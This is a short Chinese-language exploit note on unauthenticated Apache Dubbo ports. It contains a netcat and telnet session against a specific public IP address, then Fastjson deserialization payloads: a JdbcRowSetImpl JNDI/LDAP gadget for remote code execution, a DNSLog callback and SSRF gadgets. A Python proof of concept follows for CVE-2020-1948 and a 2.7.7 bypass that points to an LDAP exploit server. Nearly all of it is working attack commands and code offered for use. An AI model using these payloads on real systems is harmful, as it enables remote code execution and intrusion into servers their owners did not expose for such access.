Dubbo端口未授权访问

1. Dubbo端口未授权访问

“`
一条命令判断：
echo ls | nc -i 1 116.62.162.75 20880

telnet远程连接
root@vulhunt:~# telnet 116.62.162.75 20880
Trying 116.62.162.75…
Connected to 116.62.162.75.
Escape character is ‘^]’.

ls + 类 + 方法，查看注册的生产者，使用invoke未授权调用
dubbo>ls
com.yuntai.udb.facade.auth.UdbAuthorizeFacade
dubbo>

invoke调用方法，利用Fastjson漏洞

invoke com.baidu.updateDataMessage(“aa”,{“name”:{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”},”f”:{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”ldap://localhost:1389/ExportObject”,”autoCommit”:true}}, “poc”:11})

DNSLog
invoke com.baidu.hellofastjson(“aa”,{“name”:{“@type”:”java.net.Inet4Address”,”val”:”dubbo.x57c6q.dnslog.cn”}})

SSRF利用：
// 默认的成功过有效
invoke com.dubbo.DemoService(“aa”,{“@type”:”javax.swing.JEditorPane”,”page”: “http://127.0.0.1:8881?a=1&b=22222”})
// 需要依赖
invoke com.dubbo.DemoService(“aa”,{“name”:{“@type”:”org.apache.commons.jelly.impl.Embedded”,”script”: “http://127.0.0.1:8881?aaaa=111&bb=242”}})
invoke com.dubbo.DemoService(“aa”,{“@type”:”org.apache.cxf.jaxrs.utils.schemas.SchemaHandler”,”schemaLocations”: “http://127.0.0.1:2323​4?a=1&b=22222″}）

“`
参考：

我的公众号文章

## POC

exp.py

“`
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
import sys

client = DubboClient(‘127.0.0.1’, int(sys.argv[1]))

JdbcRowSetImpl=new_object(
‘com.sun.rowset.JdbcRowSetImpl’,
dataSource=”ldap://127.0.0.1:1389/Exploit”,
strMatchColumns=[“foo”]
)
JdbcRowSetImplClass=new_object(
‘java.lang.Class’,
name=”com.sun.rowset.JdbcRowSetImpl”,
)
toStringBean=new_object(
‘com.rometools.rome.feed.impl.ToStringBean’,
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
# POC 1 CVE-2020-1948
# resp = client.send_request_and_return_response(
# service_name=’org.apache.dubbo.spring.boot.demo.consumer.DemoService’,
# method_name=’rce’,
# args=[toStringBean])
# 2.7.7 bypass
resp = client.send_request_and_return_response(
service_name=’org.apache.dubbo.spring.boot.sample.consumer.DemoService’,
method_name=[toStringBean],
service_version=’1.0.0′,
args=[])

print(resp)
“`